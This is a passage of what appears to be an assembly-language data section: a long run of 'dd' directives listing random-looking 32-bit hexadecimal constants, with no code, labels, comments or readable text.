0C4F155C9h, 0BC214105h, 4A4E77D0h dd 1972B219h, 5580927h, 0A75D0CE8h, 0C8BABC19h, 0DF5B722Dh dd 46F4F291h, 0A91BB23Bh, 16D95437h, 326919CCh, 24C5C06Ah dd 0BC9C609Ah, 68CBF8D9h, 434224Eh, 2D108581h, 37A82528h dd 0B91D012Ah, 95D1A089h, 0A4326DB9h, 2FA8B7C0h, 0AB2F2684h dd 1A3921CCh, 2F330039h, 5E356384h, 1ADCADCDh, 0CB339106h dd 0AA07CD29h, 63F61EE1h, 0A9C59037h, 343553FDh, 30486449h dd 3AFBFD5h, 0B1DC7AD8h, 0C5D06FAFh, 69A0E154h, 6ADE1D3Eh dd 36912F5h, 4CCD336Ch, 0C0C46C47h, 8CC2E7FCh, 4253951Ah dd 0F12AE9E8h, 0F8090BCFh, 1CA26E45h, 0F42974C4h, 0DD295584h dd 8ADF67E3h, 0D007039Fh, 6AF5A0E0h, 0C742DCCCh, 2F63862Ch dd 0E2296251h, 0F64EE86Eh, 21A98DE7h, 630B0C4h, 0F971592Bh dd 0C3F123F0h, 0FAE690Dh, 66DE6D90h, 34B1EA60h, 99D16233h dd 1D0349BCh, 0BEEB2750h, 4534F992h, 0C9EC4540h, 0A2840E7h dd 7D626A30h, 0C12B7BFAh, 8698B861h, 11647D3Bh, 0FA5D8190h dd 2A338DE5h, 9F4AA2ACh, 9D6C2DE9h, 0FE6718BDh, 76256997h dd 0BEA07E82h, 42F05BCFh, 56A704FAh, 0E7DB6EC9h, 4AD7A567h dd 0C44CC4F4h, 4F478419h, 0BA27A149h, 0E3662CB4h, 0A32A7500h dd 0FD2DF990h, 10751231h, 24785AD4h, 0A1A6DA13h, 27B8D49h dd 0BA210112h, 0E8551682h, 1ECC509Fh, 8B4EE5FCh, 0CBBCA9E3h dd 250FAC1Dh, 57C698B4h, 0EC6EE3DDh, 7E6E8FAh, 39C20B15h dd 6A495A9h, 68535C4h, 0BC652646h, 44D3DA1Ch, 0DF7F51EDh dd 0D316D1h, 1727C4E4h, 0C3F41DE0h, 0C9B3B36Fh, 0D70274FCh dd 0C0561DE7h, 0F8EF4F0Dh, 5C5F4451h, 0C190C706h, 7D967A92h dd 1D589A6Fh, 0D3E85F7Ch, 1832D8FFh, 5E4B482Ch, 0FC216D74h dd 7A101115h, 0B5CFBD10h, 1F09BDF7h, 3A34E09Ch, 0A42B4C5Fh dd 0E0CD16D8h, 17DA5D4Ch, 3C82C12Fh, 0C29AB10Ch, 126CFE2Ch dd 0A94C070Ch, 0ECA6F9F9h, 0FC8DA9DCh, 321C0766h, 348AF191h dd 7B35C118h, 67FD1B74h, 743054A3h, 5C089904h, 3F30B33Bh dd 0FBA1F526h, 86090F84h, 10F6FC38h, 9F0601F6h, 76A9718Dh dd 3B5EDDFBh, 9F217A15h, 0BEAE37B0h, 9F33FB00h, 879E7DD9h dd 0DABAA05Fh, 48C374CEh, 2364775h, 861A758Eh, 0A1EF3BD2h dd 6828FDB1h, 85CC28D1h, 702C1BE1h, 58F9D9F6h, 7308957Bh dd 5323C627h, 0C2D8588Fh, 7667793Fh, 2E4C03FCh, 2EE79999h dd 9F2386A8h, 0D33A58F1h, 3A5A7D72h, 2537821h, 3EADA26Fh dd 533AB838h, 814FA336h, 3DF1D700h, 3947C5E5h, 111D64EEh dd 380A9038h, 0FF587CABh, 0BFC29025h, 3BF49F60h, 241B7A0h dd 0D43164F5h, 1A741EA4h, 80BA7E6Bh, 756FB639h, 0C3C81DE7h dd 0BDAAB6FDh, 282478E6h, 0D30EFB2Eh, 64C7EE4h, 6EC3A1F8h dd 0FE815E24h, 48BA98AFh, 51650335h, 411C033Eh, 9423462Ch dd 0EE2E030Ch, 0B51A7E8Bh, 5C365520h, 0C1A94AE6h, 2FAB1DE3h dd 0D31BC6EEh, 5B4C7BD3h, 9AEC99F9h, 8C67003Ah, 0A622344Ch dd 0F9657CA9h, 0AA22881Ch, 0F5F07ED8h, 0BE10D8DEh, 0E521ECCFh dd 0C2FEC7CBh, 0D8201ACh, 0B7180120h, 9D4C76FDh, 0C45289E7h dd 0CA431DFBh, 0FECD34Bh, 48E6E0D3h, 9DDD5864h, 0BAF3BD9Eh dd 0CA1900E7h, 0B5706138h, 62D9944h, 5A41BC75h, 0FC24A4FFh dd 0CA743FD9h, 612E8C88h, 0F8B8AF0Eh, 4302E450h, 3B5CCCE8h dd 20C682EBh, 728372EBh, 0F92C5A21h, 7175D0Ah, 0EC306A3Eh dd 15207528h, 0DCEA5DF3h, 9B4C76E1h, 500194EBh, 230B9601h dd 3DB6591h, 6695644Bh, 3C027783h, 0FB50A0B4h, 0D89BBD4Bh dd 1F60B249h, 0B9B61C86h, 34CC758Dh, 0A14C64FBh, 7A37D13Fh dd 7EE2AC99h, 0FFF273ADh, 7832EF4Ah, 7D7D5521h, 7DCD709Ah dd 0C2007035h, 807B061Bh, 0DDC9E9CDh, 0A4581E78h, 0E273970Dh dd 98CC8A67h, 2224B0F8h, 0E6451B9h, 0DF768035h, 0D5AB7212h dd 0D0D2D49Ah, 0E5406C3h, 0B2497377h, 372860ECh, 7D8C7D1h dd 4A170B87h, 3751A392h, 0C49C79BCh, 4E48ABCCh, 739AE422h dd 9A4CC40h, 68F3BD3Ah, 0C1425318h, 0C771499Dh, 0C3E7C151h dd 0BE79C6CFh, 1641ED53h, 0D22C41F9h, 9801CFFDh, 29CA992h dd 0C2024A7h, 9C0E9ECAh, 39A07AE1h, 442DEE44h, 0BC1701D0h dd 254F8204h, 22C275C8h, 0CFBDC054h, 0DE829BF8h, 0EB0F9ABh dd 0C64AD106h, 2309C374h, 38971BE5h, 0ABA979FCh, 53EB2444h dd 74EB3049h, 0A4CCBDC5h, 0FAAD5A95h, 0C4626EFEh, 4FA2F5D3h dd 82794DC1h, 0C9A6A966h, 5F066AB5h, 0D1168524h, 796979F2h dd 31257373h, 265D9DF4h, 0C9AC5FE2h, 2CA2BE74h, 7E0AB72Bh dd 6861AB21h, 0F512001Eh, 0C4B8C51Bh, 91760904h, 0FEC8A78h dd 0FC5675FCh, 6C851E79h, 7547E4CFh, 0E3F45883h, 0C265E8FDh dd 0EDAFB32Fh, 4F471FB8h dd 687A617Ah, 0E5125BF5h, 0AC448418h, 2EC4F27h, 84EDF73Ah dd 0D18D57A6h, 1AAAE9Fh, 0E7700E4Ch, 829FC9FEh, 0EA5BD0BCh dd 3623B4CCh, 0BA8C6490h, 1DB4081Fh, 3504C00Dh, 15190041h dd 0D41003B2h, 9EF404D7h, 739B80EBh, 0C0F2357Dh, 0C290FD7Dh dd 0C2DBF9B5h, 84A4A23Bh, 0BAA100EDh, 0CF1B0114h, 0F9E0943Ah dd 0EB350B7Bh, 0F15858FCh, 0C3C07546h, 0C2417291h, 54A52B41h dd 475A0950h, 3B5AA93Ch, 97993593h, 0F2FB2449h, 0F2357E93h dd 0CB2D0FE1h, 62550B91h, 29DCF8E5h, 715482E5h, 0BB2F2193h dd 0F46E00C6h, 0F15F078Ch, 0ED60A77Dh, 0ED07A4FBh, 26857593h dd 0F6807BEAh, 7761255Eh, 0FB62A4E5h, 0D655CBF4h, 0F1585BE4h dd 2427E3AEh, 3D162773h, 0FF380B93h, 45A0FB6h, 66A10376h dd 0D5D90024h, 0EC7E244Ch, 3E587893h, 3F5049E8h, 0F12D1762h dd 242129AEh, 0DE1626B9h, 0B1C8C0B9h, 5E740D2Eh, 1DF524D2h dd 117682EAh, 6665E539h, 0BB2F0BEDh, 1FC87DFCh, 31AB042Ah dd 98C40864h, 0FB0E87C8h, 8784AE33h, 0D5FA0264h, 0C5780659h dd 0F75A09B6h, 0F15F596Eh, 14EC37F3h, 0BB5AEC64h, 2B611378h dd 8CACC260h, 0F1E31249h, 155296F2h, 3A189E72h, 41DC83D0h dd 0C521164h, 1AA20CD1h, 351B06ADh, 0FB3C0DA4h, 1C5A0B49h dd 0C73F240Bh, 754F1275h, 0F9E11DCCh, 0E9A787E6h, 2206D93h dd 0BB1F0B9Bh, 0E5A408F5h, 0E02B094Ch, 0A424D92Dh, 0C9630812h dd 0D46193A7h, 0CF20340Eh, 0F1E011B6h, 3762AC2Dh, 7C59679Bh dd 9BF50627h, 8C390B8Fh, 30311E9Bh, 7F6711BCh, 1B9D0CEFh dd 226109FDh, 0F605AF40h, 7F0C2A93h, 14B2122Ch, 0CE267B0Eh dd 74562A27h, 0E521813Bh, 0E483C993h, 0ED061154h, 0F20E6B93h dd 0EAEC65A9h, 3339EA8Fh, 6F1C4929h, 0E82F8F62h, 0E25104F0h dd 0E5B348F8h, 36C4F5AEh, 0FA8BFC8Fh, 0F1AE953Bh, 0AC557A89h dd 0B07467D2h, 0F15A6198h, 0EF467D0Dh, 0CE646615h, 0E6EE7692h dd 0F5614571h, 60495EDh, 0E4240096h, 0F3725A93h, 0C98F256Eh dd 0F730F85Eh, 0E46F1DF7h, 0D6AD9C6Ah, 0EB0B0530h, 60D1221Ch dd 3C766D4Bh, 0E9F2A6E8h, 6A7F1E3Eh, 268E153Eh, 0C88FE484h dd 0F0B4DECFh, 324C66FBh, 2957DE99h, 33C9001h, 5BB73584h dd 42D2455Ah, 0F74281CCh, 624A4A78h, 0F52862CCh, 0B8B81C89h dd 0C9E35A28h, 79B69662h, 0E594D284h, 0E2210DFAh, 0C034B566h dd 2D5DFD0h, 0F3250941h, 0E32E1DFCh, 0E8F415E9h, 0B755F5FAh dd 0E427D7A2h, 74703A5h, 28E26223h, 0E833239Ch, 2D980B9Ah dd 0C435C755h, 0A31FD7CFh, 6A98372Fh, 0AFADD9EBh, 0C723510Dh dd 4B5A1ADFh, 4467E742h, 0F32FF60Dh, 1D75B7C2h, 0CED1E34Eh dd 0F5E46418h, 0DE50CBE3h, 0CEA28C0Ch, 0B12D35DAh, 0EAFDE51Ch dd 942BFD93h, 0C7AED782h, 0A42AA322h, 571B0603h, 0AA0C796h dd 0F505B53Dh, 40269BFFh, 0FC74A17Ah, 7F252035h, 0CBDF0B9Eh dd 0C8B05E3Ch, 0D9E0A14Ch, 7237486h, 0D135019Eh, 4AF7FBE4h dd 0E5B12B99h, 0CFE5D73Ch, 18B489C3h, 0E9966429h, 0FB05B522h dd 0F8503BE4h, 0DA64C36Fh, 0CCCD543Ah, 0E15C83CDh, 0EB425991h dd 0F7D50F98h, 7B1526B5h, 621DD997h, 0CD2C34AEh, 573F109Ah dd 1FCE32FBh, 3DBBC212h, 814C5D7Ch, 72B17476h, 8D44B0C2h dd 78B9BF02h, 8D276A2Ch, 40DE5A0Ah, 3DDAC5F4h, 755CA6F3h dd 5C621161h, 0E950FFADh, 1CC5FE37h, 0AB0E5324h, 9F105EA5h dd 868AAF67h, 0EA41C7D5h, 0A73C6493h, 121D1CEFh, 110FB1E9h dd 565BE868h, 291464C5h, 184F83A9h, 0DE0AAED0h, 9CA074F7h dd 35BBCF82h, 94141BF3h, 1F03DD3h, 7CA227C6h, 0E444C4F0h dd 750A7F93h, 0A5FB02DAh, 0F2890171h, 0CCA190A3h, 0D7122D61h dd 0DEA2BA40h, 32274480h, 36A87591h, 0AA83AAEAh, 6CF36382h dd 0D577FABAh, 0CA5E1B5Ah, 7CAC69E0h, 0BCA8FEEEh, 0E6531CA6h dd 5205E340h, 1ED17580h, 2B10407Eh, 0A26A3B95h, 20EC4071h dd 294C75C3h, 0A6FB9C18h, 4B55E83Bh, 9DBCF951h, 0A18F541Dh dd 990F0FD7h, 84CCC6EDh, 1E192DBh, 304EA560h, 702DB087h dd 0C3E381DAh, 0D3866BCEh, 0DC1F5EEDh, 0BCBCF828h, 35494672h dd 0DB15A96h, 4C5A62FAh, 0A4011DF5h, 0F5DD559Dh, 0E4E230E4h dd 15202DA4h, 0EB19A5A9h, 0CCC5E19Ah, 66B6EAFDh, 0E4119DF9h dd 9EE41F2Fh, 5AE0964Fh, 0A0CC7739h, 0F016A2DBh, 0A8575EB8h dd 0F155255Ch, 59C7266Ah, 7F99C12h, 6619F4EDh, 36291181h dd 86BD042Eh, 71698B69h, 9217DDECh, 552BB284h, 2BE07F64h dd 63101A0Bh, 43F3706Dh, 0E86E994h, 70CE4CEh, 10AC5DF6h dd 6890C74Ch, 0C1A4CDF7h, 652C8DD7h, 2E35127Bh, 3338BD61h dd 0E84BC569h, 7D486AA6h, 0D90915C3h, 1CACF161h, 0C2F8F470h dd 581833EDh, 0B7E1B174h, 423D550Ch, 0CFF3F8E5h, 0CB7C01B6h dd 2957DA45h, 0BB49DF1h, 58D56F98h, 0C52D7A25h, 9B468A69h dd 649B2915h, 7A105125h, 0D7A138A5h, 0A020075h, 0D5BC471Fh dd 3084A16Ch, 0A8E8248h, 26985E22h, 2A2A917Dh, 0DD76ED7Bh dd 0DCF8BD15h, 0C4F192Fh, 0C5D49FA4h, 0D4C08FB5h, 6A64D5CEh dd 0F8FB81FDh, 48C84156h, 0BCBB0AE5h, 8523F5FCh, 0D0559756h dd 4549CDDCh, 0D4272135h, 823D1AB0h, 0CE039D83h, 79488167h dd 0D8B93073h, 835B1DF6h, 0F5349805h, 0B1AF9660h, 48958A78h dd 9F28D967h, 514AF3C8h, 10E77436h, 189F64FDh, 0AF10338h dd 7E15B36Bh, 9E10164h, 7FEC4414h, 420D8F7Fh, 0B81F06F9h dd 0E2E07C19h, 0C7261EE1h, 69190D69h, 0CDEDC2E1h, 0E02EFD81h dd 822C0117h, 0F96D1929h, 0AE4A1A2Eh, 0D434180Ah, 0CBA870F8h dd 0FDC4CDE0h, 690E3CB5h, 0D68066E5h, 0EDC4B400h, 0AD7973EBh dd 0FB2931B4h, 8E99785Eh, 68AB5FD7h, 0F9348F45h, 0EC819064h dd 8CE97B74h, 0BAE77466h, 0D05E72D6h, 0E7311B27h, 0D36F043Fh dd 4AE61035h, 566301AFh, 4A5AC8C4h, 1DD6017Ch, 0A4243AA9h dd 4323E958h, 0CCB7157Bh, 40439784h, 72772E68h, 3975F95Bh dd 9E619EDCh, 1D9DF72Eh, 0B56867h, 0E3E9FE15h, 8B13CEh dd 0A682F9C1h, 3C20F8F4h, 84AF85EAh, 486DC72Ch, 4D512EF1h dd 3C9D5A8Eh, 0BC35AA27h, 81CC4C87h, 0CDEF8C45h, 0F8412744h dd 38F603A1h, 0A63C1E6Ah, 154FA3F9h, 0FE23E518h, 0D88042D4h dd 9A66393h, 0FF1B4394h, 783122BBh, 0CE6A6088h, 43C8F2FEh dd 0D5CBCDEBh, 0FC411E2Eh, 0CE48A3CFh, 1D10626Fh, 0C0C0CD37h dd 128F163h, 7D1AFF65h, 0E84F09CCh, 44A3E014h, 0E933F3E7h dd 7B2D23D4h, 0B261123Dh, 5C3240DAh, 9F3594ADh, 9DB9FFD7h dd 18E728C3h, 9F4A7ADBh, 18DFDDEh, 0D17DA490h, 0C4ED325Bh dd 10CC66D3h, 21ADC2FFh, 0F28F6BFFh, 883045FFh, 2C6ECF79h dd 0B88D1C21h, 0AB9720BEh, 5C588EF3h, 9829538Fh, 0CBAE1FCBh dd 0C1E81BD1h, 927FB13Fh, 0CFCF99DFh, 35483518h, 0D37F0D91h dd 755B47BEh, 0B225C78Eh, 0F2666016h, 3D079348h, 0B50E0B3Ch dd 2CAB5F9Dh, 6928A2B0h, 23E7C960h, 5AFC91FCh, 85265EF1h dd 422F1F7Ch, 8A4412FDh, 2D14F0C9h, 4029FFCh, 1F56E03Ch dd 92167DFEh, 0D0DAF3EAh, 0F8EDD205h, 516FBDCh, 14DC7CAAh dd 0B12BC192h, 86183EEEh, 6C2110h, 0FD2C36CAh, 1F297E38h dd 0C9AF7FEFh, 442DBFBEh, 94B1D92Ah, 4C6BF9BCh, 33DD12Eh dd 7AA9D21h, 0BA8FDD67h, 4EF084h, 0E5E0A8BEh, 0DA0E0F21h dd 42D89FC8h, 0B0264113h, 79CDF930h, 0ADE34D30h, 0DCD1001Bh dd 9EB0C5CEh, 57D2EEC7h dd 0FC710A3Eh, 7C34D93Fh, 0AB53495Fh, 6CA9633Ch, 11E4A0A1h dd 1F2EF35Eh, 1DCCB7A1h, 0ECE47BB4h, 8B922E1h, 27C3B910h dd 0BC434175h, 42921EBh, 0C5411DC5h, 0A3AD49E3h, 0D51FCDCh dd 134C8178h, 0B364F898h, 9ACF0F2Fh, 0D99E1A9Ch, 0FC065FA4h dd 706D8039h, 67F8601Fh, 0BBB175ACh, 2EF3AB84h, 1EF7B5F0h dd 9F9BC744h, 0B53C2837h, 4D30BAA4h, 0AFFBE8Bh, 24427D5Fh dd 0FCAD4466h, 82A81021h, 4FF964BAh, 24721EF8h, 0A3B66096h dd 0FF3DEA99h, 22347E3Fh, 0D736A055h, 0EABDCA3Ch, 329DFF1Dh dd 0BC2E45E1h, 0E5F37CD5h, 2D28414Ch, 51B31D26h, 0B6F4814h dd 0CF9C51D1h, 59AFDCADh, 224D049Eh, 4F545E81h, 0F874A85Fh dd 0DFCECA9Bh, 34B00399h, 0CEAE3FE4h, 1167AB2Eh, 127ED531h dd 0C7F7BEF6h, 0ED0DADEDh, 0B720A518h, 0AC5EA967h, 0C3302DD1h dd 0C75D5669h, 0FC217DFDh, 162293F8h, 63B73F96h, 6E5D6ACBh dd 8CE4252Fh, 0C8766910h, 49A3265Dh, 0DB188F7h, 0CCFAD748h dd 0F92504BBh, 81AE32EDh, 0C1954C07h, 0C30127E0h, 0FAFBF815h dd 642D07CAh, 0CBA965D6h, 5944C4FCh, 0BE201548h, 0BAF071B3h dd 0CB2DF44Dh, 0D576AA32h, 59A367A3h, 9854521Bh, 0B7F364CCh dd 71D2784Bh, 1426E057h, 47DA714Ah, 162F7C50h, 0A7E890D9h dd 24F41C5Bh, 206D0BD4h, 824AB47Eh, 93385AD9h, 4AC2AFBBh dd 7C9E73CDh, 9993B293h, 82DDE0D3h, 210FC00h, 45CDCFEFh dd 557293A2h, 0AD8E6528h, 2E5CF281h, 51A349C4h, 17ACF10Dh dd 0DFFA0D94h, 0B7F7AD6Bh, 46AEAA34h, 97E4A913h, 0F434CDEAh dd 0CE4C6C1Ah, 66F77FC1h, 0E3091DAFh, 1C5807E8h, 0F6266327h dd 419DF1BBh, 51F2EDAh, 0D90D7A3Ch, 7D7FF217h, 2307F718h dd 19150F2Ah, 0DB1047E1h, 2EE70428h, 0C32C80EBh, 0F41E47D4h dd 0F9E649F7h, 0FCE474D2h, 0E9BF342Eh, 7B943710h, 0C61A5D72h dd 3EFA3506h, 3AEC694Fh, 0F18ABFEBh, 4A7873Ah, 70498F94h dd 0FEF17101h, 0ADF6816Dh, 1DA9E698h, 927B8D18h, 3F06C4B2h dd 59576506h, 0DF41573h, 4EC1148Bh, 0BC1743D8h, 8E38BB17h dd 0EF588998h, 2E34B102h, 325D7E3Eh, 0CEEF7472h, 72072C28h dd 0CB3693EAh, 31BE1FEEh, 8862A6F0h, 1F2EC680h, 0CE9BB2BCh dd 0B38A6387h, 0DB8B39CBh, 0EA0CB6D3h, 0B481D6DCh, 0CA3E2D4Bh dd 8C1D91F8h, 0B3E58F0Eh, 2E849D1Ch, 0FA8F3A11h, 0AF4CB714h dd 20D96B1h, 4A68D7F8h, 0AEDAB142h, 0BA20893Eh, 0B2E47857h dd 0BD4D3B74h, 7336CBBDh, 4BC32193h, 0A31DEC46h, 0F59727C2h dd 31AF5A18h, 41D81934h, 0B2685F3Ah, 0CC8BCB39h, 2FCC5398h dd 0B8B3078Ch, 0B4A17F70h, 0BE0B4C10h, 1BC21F1Bh, 5B34860Ah dd 0D7D704E2h, 0E2CC4B1Bh, 2B4C5C7Ch, 9D20F768h, 8CA9BBF5h dd 4CC85F0h, 4332681Ch, 1CE6E465h, 0E8058730h, 26E669B6h dd 946837D1h, 0CE64B942h, 4417077Ch, 8A2BAF78h, 7C88CF80h dd 25BF1553h, 20F6D20h, 8418D4AEh, 0E4F4F3h, 0D59ABF35h dd 71A4C2C6h, 0E7999182h, 0F8A980D9h, 0F355B71Ah, 8A62CFAEh dd 78087EC4h, 0D7E78589h, 75439195h, 0B8287AE1h, 0B9B13340h dd 0F3D477D4h, 39942FBAh, 233C2234h, 18B17A18h, 8D0412E8h dd 834F7DCFh, 0DF269BEh, 75B0FE0Ah, 24D7F1DDh, 42DD2D3Ch dd 0A65DE9E7h, 0BC03B4FEh, 0EFA0FB8Eh, 0C4CCA37Ch, 9A765226h dd 0C1FB5CB9h, 4E32B03Fh, 63C6B507h, 6B950A20h, 0B8622A7h dd 3E984FC0h, 0DDAB80F1h, 0AEF0C88Eh, 3390A2Ah, 9CA2684Ah dd 88B3CCA6h, 8F58C57h, 0F8D7310Fh, 0C0131D0Fh, 56B5D83Eh dd 264CAF08h, 0B7AEB6ABh, 3C5407DBh, 28AFAFCEh, 0D4A5BCBDh dd 8D472853h, 3B89D913h, 0D14F44E9h, 0D406D92Eh, 19F5F178h dd 4EB31CBAh, 2335B8Ch, 0D4FDE8B3h, 0A934072Eh, 0E5B334B4h dd 49802987h, 0E60CDB98h, 22D1E19Dh, 77285102h, 477DD9DDh dd 518113F8h, 57E4343Eh, 5FC2CDC3h, 6636E767h, 0B9C1298Ah dd 7E5DCD14h, 1C5D7B81h, 572B59C4h, 0CEAFC6Eh, 271DBCFBh dd 0FDF911DFh, 0F53E5F64h, 0D9887E40h, 0F6214D23h, 2DB7F5C3h dd 3F19A6EAh, 29EE6824h, 0E854CA50h, 0AC0DC3BEh, 0A8CF7FC2h dd 0F0AFA1A3h, 889A9AD0h, 0DDAEC3DCh, 5FFE7D5Dh, 0AFC285E2h dd 20B17DEBh, 9A9ED939h, 2C4FBF06h, 0EEB680E8h, 994B517Fh dd 91560BBEh, 0B9E58BCBh, 0FB2D209Ch, 475E9F26h, 89FFCB7Ch dd 870E6A2Ch, 1CDB8EFh, 6015F61Eh, 0DF88CEFCh, 7D8106A7h dd 0CEC84174h, 8DF27537h, 0CE31B936h, 7082E921h, 4D01B779h dd 62E05956h, 95F15584h, 68279C65h, 0C51BF0DEh, 97376123h dd 30BD73EFh, 6795087h, 80A79178h, 92B95BB6h, 0CA500FFFh dd 0DE716967h, 52BF9B00h, 0F8A67AEBh, 38C49560h, 0C4BD8084h dd 903743Dh, 4B8EA2B3h, 8CCCFE6Bh, 0A8AD8CFCh, 3B80FD77h dd 7029FF0h, 0EF4A3C81h, 4CE5868Ch, 0D5219A2Ch, 0C86727AFh dd 0D58197A4h, 4A53E01Ah, 3C2044D5h, 1C4CFDC1h, 373B66F0h dd 0FB0A6AC6h, 0FDED587Bh, 3428B88h, 33F688A6h, 0DAF03FF1h dd 0F1B312D5h, 4BEE399Dh, 78F2E104h, 3C3D7345h, 0B59E6928h dd 1D13EF04h, 895B6BFBh, 0E5D0C4FDh, 6B0F6281h, 0B9B7CCBFh dd 0AFF6ED04h, 4877160Dh, 67E8405Eh, 427142FCh, 392F52FCh dd 0C751D5D1h, 0BB26BE6Ah, 4A6E2BA3h, 0F1826961h, 75E4062Ah dd 0CA42E9EBh, 0DF97D752h, 0D57DD7C0h, 80104CE2h, 6837B9CEh dd 3E7653F2h, 267A9742h, 9DD07F4Fh, 0C04A9C39h, 7D198C73h dd 0DD6DB73Ch, 0A2F5F0B9h, 9144DD48h, 2F8F34D0h, 6DC45A81h dd 0D9EB7108h, 0BD53C5B9h, 0A1C8A9CBh, 6F125299h, 822CB957h dd 0F8B7B4h, 88FA9EB3h, 0A2112ACEh, 0ACF7062Ch, 0BE344EE1h dd 0F574A8B4h, 2D00E42Fh, 0F73AC94h, 696249AFh, 0A52D5CE1h dd 724C75DCh, 98D32437h, 0A05499EDh, 0BF655A61h, 96459228h dd 0BBEF782Ah, 0B250554Eh, 3359C1F9h, 0F26EE522h, 4FE2B573h dd 0AB29797h, 6AA82254h, 0FCAF94CFh, 89654F0Dh, 6F72013Ch dd 16626C6Eh, 0EA74A993h, 2D293435h, 1A6E2CD1h, 98DF34A1h dd 2BD137F2h, 0BC5E383Eh, 23633B03h, 86AF8B50h, 7BA3E038h dd 0A292018Fh, 590D35D8h, 0EE81732Ch, 5B36E7A4h, 90C82574h dd 2259ABF9h, 0C8A4375Fh, 25AF49Ch, 8BF75D48h, 986D092h dd 8E08F8D3h, 96EB3D65h, 7DA1DF76h, 8A045C20h, 333E0029h dd 2C869BEEh, 369EBEFCh, 0FEB3295Ch, 842E9B21h, 3E63A7D7h dd 0FEE6E420h, 0F0B4CC21h, 0E879DF3Fh, 0F8E70104h, 0CE6B18D3h dd 88880210h, 2B67AC6Ch, 0EF2F81A7h, 75B97A6Dh, 0F42DB9DFh dd 0B927C167h, 729398Ch, 9CE70942h, 23D218FBh, 95EFFE65h dd 0D86A0635h, 0F15134E9h, 0BD310079h, 0F10091B8h, 0D00201EFh dd 4196FFF4h, 0CAD1113h, 0C93E162Bh, 7EA67EAAh, 0FC5CC7BFh dd 7D2552F2h, 0FAE9A606h, 702753D5h, 0A0D256DAh, 766E46E3h dd 0B9474E87h, 9623A071h, 23ADC4E9h, 81CE71C3h, 1642E001h dd 0FF350BBCh, 0CDF0FEC2h, 2CEA1B2Bh, 1C58AAAAh, 0B5FBF9FCh dd 95D31DF4h, 0FF046606h, 32744CA7h, 0D8292564h, 0D550B72Eh dd 0FF360137h, 0A5EF147Eh, 0C326BC33h, 105825D8h, 0ECE6B063h dd 0EBB51329h, 5ED1C3D6h, 7CDEF055h, 0F5DF4B4Ch, 81C50A79h dd 0B7721384h, 7C30FB7Ch, 0DD65A821h, 0C9C70123h, 1B0E24D8h dd 0B0F876B6h, 0FC6DDEACh, 0BB1BA095h, 0F6F474BDh, 90228B27h dd 0CB28CA08h, 0F344F384h, 0A0D61AA2h, 9A20B168h, 52AED5E4h dd 0F5946465h, 0D7BC1552h dd 64FE48Ch, 0EA6FC5BFh, 22C63820h, 951E1CA6h, 0C9F9D37Eh dd 8A2D23ECh, 0AF401EAh, 4DC17D84h, 0B0A8B36Ch, 86921DF9h dd 0F9A0C340h, 0D5CBF832h, 0D92B3BBFh, 571F6440h, 976E67A1h dd 0CD70E367h, 1EE50146h, 3E6D7367h, 0A5603E30h, 2189088Ch dd 0AB6C459Dh, 6D76B175h, 0A2FAB0E8h, 89FC6A64h, 93B37ECCh dd 27FC97BCh, 0A7B2D894h, 0D446E7FCh, 0CF27C8BCh, 0F6A56000h dd 0C7A2A081h, 0FBB0FAFCh, 0DC43C926h, 3BD16018h, 7E314838h dd 0BDD98A2Bh, 894C51E8h, 0E3D13BBDh, 0FDB638A6h, 0CC602038h dd 409F17F0h, 0A5E24117h, 5C8749D0h, 57F559F2h, 1F209FFDh dd 3E534D27h, 0C489B573h, 20CC64E9h, 0DC02E82Bh, 8F125C52h dd 88B4FDE7h, 0E775CCFAh, 0FB834754h, 62C0456Fh, 1C9055E4h dd 1B166D3Eh, 43E19E48h, 0B835460h, 0C36B73Fh, 0DC40A9FFh dd 0AA2DB156h, 0AD77ABC1h, 8DE3BDFDh, 0A8EE4AD8h, 0CA7C2DFCh dd 4BC7D504h, 90BD1434h, 0E65C730h, 3B1098B5h, 1CC801E9h dd 0CF971AFCh, 11F0491Dh, 152CA1C5h, 0C3F8F6C0h, 623E3279h dd 0EEA3600Ch, 0B802AA40h, 0C8392F39h, 41ED36A7h, 3F340629h dd 40E04E44h, 0DD4C65E7h, 27206FB0h, 5DA904F7h, 6066B8A2h dd 442DB367h, 0AD1BF2C8h, 3A991384h, 0D30333C1h, 754C76AAh dd 0D2C497A2h, 0D523A1B5h, 56090ECCh, 524C014Dh, 0CFEAFBCh dd 0C5F05A79h, 7E0676E2h, 10D834Ah, 2AAE4CB9h, 0DD4C1CBEh dd 0DCC0C976h, 295E40Dh, 8F73537h, 291061D4h, 8E2B7CAh dd 0C15FBDCEh, 87176367h, 8A5F34D4h, 96ADBF79h, 898C4FBFh dd 80CBEF8Ah, 1C59F08Ah, 359062Fh, 4F80BD29h, 49757F59h dd 0AE37593Eh, 72B97A3h, 1F2674BAh, 1B1F4648h, 9FFDEBDEh dd 0D218772Ch, 336463CAh, 5E76823Ch, 62CFB710h, 50DBE20h dd 11286B25h, 45749C27h, 570864DCh, 87AD5F80h, 8201FFCBh dd 6610A32Ch, 62849DC7h, 5B2ECEC0h, 0CCC114B6h, 8C87124h dd 76BB63Ah, 306F17F8h, 2F1707A6h, 19145B4Bh, 51832F1Fh dd 79287528h, 70038A4h, 30833EADh, 1F753BDEh, 36C2D478h dd 38ADB1E4h, 0E46FE9EBh, 220F3B39h, 5230A360h, 0DCB466D9h dd 4C2FB28Ah, 0C0E775CEh, 0A099DA3Ch, 9D5A1D9h, 0DFBDD80Dh dd 66D241E4h, 1663BC24h, 4E12B67h, 0DCC9E8h, 5488EDA2h dd 0B31EC841h, 7D4DF73Ch, 0B77F8122h, 7B3460B0h, 0D4FB422h dd 0EEE26372h, 0D7D4F12Eh, 495D5597h, 0DCAFD0BDh, 39894B7h dd 29AF12B7h, 3E2C7FF4h, 0D0717CF0h, 6B257181h, 0C54817E6h dd 53F607FCh, 6B260921h, 68316B2Eh, 0A3B772E4h, 0ECC2C071h dd 9A777AF0h, 0CDBC2F81h, 0A994ABC5h, 0C8FD3D56h, 60B9B23Dh dd 0D03FD11Dh, 8E559F53h, 0A1CEF713h, 0F7F3C777h, 9D8AFAB9h dd 0D4332818h, 19600D66h, 851758ECh, 4B2BC3D1h, 7D153AAEh dd 99FBAE67h, 0F421156Ch, 7A7956Eh, 8B051F40h, 57E59063h dd 0C737D0BAh, 0C3099EB1h, 932BA9FEh, 43AD0464h, 64A4C6A2h dd 0B65F4F04h, 15EB1833h, 27A19D03h, 0FB45DF25h, 0C00D4D6Ah dd 0C39DDE99h, 50E0C9CDh, 58B8A34Bh, 27CFFFAFh, 2799154Fh dd 421546E9h, 0CBD311E3h, 0BBA8D124h, 8711BE67h, 66E7FBA3h dd 0EC49E9D1h, 